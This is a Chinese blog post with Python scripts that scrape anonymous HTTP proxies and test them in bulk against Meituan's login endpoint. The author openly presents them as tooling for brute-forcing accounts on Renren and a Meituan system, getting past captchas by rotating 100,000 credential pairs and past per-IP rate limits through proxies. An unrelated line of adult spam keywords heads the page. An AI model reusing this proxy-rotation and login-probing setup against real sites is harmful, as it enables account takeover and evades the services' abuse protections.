欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

批量獲取及驗證HTTP代理的Python腳本

 更新時間:2017年04月23日 22:16:42   投稿:mdxy-dxy  
這篇文章主要介紹了批量獲取及驗證HTTP代理的Python腳本,需要的朋友可以參考下

1. 在掃號人人網(wǎng)時,我遇到單個賬號錯誤兩次,強制要求輸入驗證碼,而對方并未實施IP策略。

我采用維護10萬(用戶名,密碼) 隊列的方式來繞過驗證碼。具體的做法是,當某個用戶名、密碼組合遇到需要驗證碼,就把該破解序列掛起,放到隊列尾部等待下次測試,繼續(xù)破解其他賬號密碼。

這樣就可以保證2/3的時間都在進行正常破解和掃號。

2. 在破解美團網(wǎng)某系統(tǒng)賬號時,我遇到了單個IP訪問有一定限制,請求頻率不可過快。于是我掛了72個 HTTP代理來解決這個問題。 看似每個IP的請求都正常,但其實從整個程序上看,效率還是挺可觀的。

本篇我發(fā)出自己抓HTTP的腳本片段,其實只有幾行。匿名代理是從這里抓取的:http://www.xici.net.co/nn/

首先獲取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)

of.close()

接著驗證代理是否可用,因為我是用于破解美團網(wǎng)系統(tǒng)的賬號,因此用了美團的頁面標記:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()

相關文章

  • python中利用隊列asyncio.Queue進行通訊詳解

    python中利用隊列asyncio.Queue進行通訊詳解

    asyncio是Python 3.4版本引入的標準庫,直接內(nèi)置了對異步IO的支持。 下面這篇文章主要給大家介紹了關于python中利用隊列asyncio.Queue進行通訊的相關資料,文中通過示例代碼介紹的非常詳細,需要的朋友可以參考下。
    2017-09-09
  • Python偏函數(shù)介紹及用法舉例詳解

    Python偏函數(shù)介紹及用法舉例詳解

    偏函數(shù)(Partial function)是Python的functools模塊提供的一個很有用的功能,它允許我們通過固定部分參數(shù)或關鍵字參數(shù)來創(chuàng)建一個新的函數(shù),這篇文章主要給大家介紹了關于Python偏函數(shù)介紹及用法舉例詳解的相關資料,需要的朋友可以參考下
    2024-04-04
  • pandas 將索引值相加的方法

    pandas 將索引值相加的方法

    今天小編就為大家分享一篇pandas 將索引值相加的方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2018-11-11
  • Django框架會話技術實例分析【Cookie與Session】

    Django框架會話技術實例分析【Cookie與Session】

    這篇文章主要介紹了Django框架會話技術,結合實例形式分析了Django框架Cookie與Session相關使用技巧與注意事項,需要的朋友可以參考下
    2019-05-05
  • Python利用公共鍵如何對字典列表進行排序詳解

    Python利用公共鍵如何對字典列表進行排序詳解

    這篇文章主要給大家介紹了關于Python利用公共鍵如何對字典列表進行排序的相關資料,文中通過示例代碼介紹的非常詳細,對大家學習或者使用python具有一定的參考學習價值,需要的朋友們隨著小編來一起學習學習吧
    2018-05-05
  • 使用python腳本檢查ssl證書到期時間

    使用python腳本檢查ssl證書到期時間

    這篇文章主要為大家介紹了使用python腳本檢查ssl證書到期時間,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2024-01-01
  • Python全字段斷言之DeepDiff模塊詳解

    Python全字段斷言之DeepDiff模塊詳解

    這篇文章主要介紹了Python全字段斷言之DeepDiff模塊詳解,Python中也提供了deepdiff庫,常用來校驗兩個對象是否一致,包含3個常用類,DeepDiff,DeepSearch和DeepHash,,需要的朋友可以參考下
    2023-08-08
  • Python進度條tqdm的用法詳解

    Python進度條tqdm的用法詳解

    這篇文章主要介紹了Python進度條tqdm的用法,這對于第三方庫非常豐富的Python來說,想要實現(xiàn)這一功能并不是什么難事,本文通過實例代碼給大家介紹的非常詳細,感興趣的朋友一起看看吧
    2021-08-08
  • Python3實戰(zhàn)之爬蟲抓取網(wǎng)易云音樂的熱門評論

    Python3實戰(zhàn)之爬蟲抓取網(wǎng)易云音樂的熱門評論

    這篇文章主要給大家介紹了關于Python3實戰(zhàn)之爬蟲抓取網(wǎng)易云音樂熱評的相關資料,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧。
    2017-10-10
  • Python十大列表操作技巧分享

    Python十大列表操作技巧分享

    這篇文章給大家介紹了Python十大列表操作技巧分享,列表展開,降維,分塊,轉置,查找眾數(shù),判斷重復元素等十個操作技巧,并通過代碼示例給大家介紹的非常詳細,需要的朋友可以參考下
    2024-01-01

最新評論